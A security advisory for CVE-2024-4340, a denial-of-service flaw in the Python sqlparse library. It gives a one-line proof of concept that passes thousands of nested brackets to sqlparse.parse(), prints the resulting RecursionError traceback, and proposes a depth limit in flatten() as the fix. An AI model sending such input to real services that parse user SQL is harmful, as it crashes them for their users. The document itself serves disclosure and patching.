CVE-2024-4340: Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.

Summary Passing a heavily nested list to sqlparse.parse() leads to a Denial of Service due to RecursionError.

Details + PoC Running the following code will raise Maximum recursion limit exceeded exception: py import sqlparse sqlparse.parse('[' 10000 + ']' 10000) We expect a traceback of RecursionError: py Traceback (most recent call last): File "triggersqlparsenestedlist.py", line 3, in <module> sqlparse.parse('[' 10000 + ']' 10000) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/init.py", line 30, in parse return tuple(parsestream(sql, encoding)) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/filterstack.py", line 36, in run stmt = grouping.group(stmt) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 428, in group func(stmt) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 53, in groupbrackets groupmatching(tlist, sql.SquareBrackets) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/engine/grouping.py", line 48, in groupmatching tlist.grouptokens(cls, openidx, closeidx) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 328, in grouptokens grp = grpcls(subtokens) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 161, in init super().init(None, str(self)) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in str return ''.join(token.value for token in self.flatten()) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 165, in <genexpr> return ''.join(token.value for token in self.flatten()) File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten yield from token.flatten() File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten yield from token.flatten() File "/home/uriya/.local/lib/python3.10/site-packages/sqlparse/sql.py", line 214, in flatten yield from token.flatten() [Previous line repeated 983 more times] RecursionError: maximum recursion depth exceeded

Fix suggestion The flatten() function of TokenList class should limit the recursion to a maximal depth: py from sqlparse.exceptions import SQLParseError

MAXDEPTH = 100

def flatten(self, depth=1): """Generator yielding ungrouped tokens.

This method is recursively called for all child tokens. """ if depth >= MAXDEPTH: raise SQLParseError('Maximal depth reached') for token in self.tokens: if token.isgroup: yield from token.flatten(depth + 1) else: yield token

Impact Denial of Service (the impact depends on the use). Anyone parsing a user input with sqlparse.parse() is affected.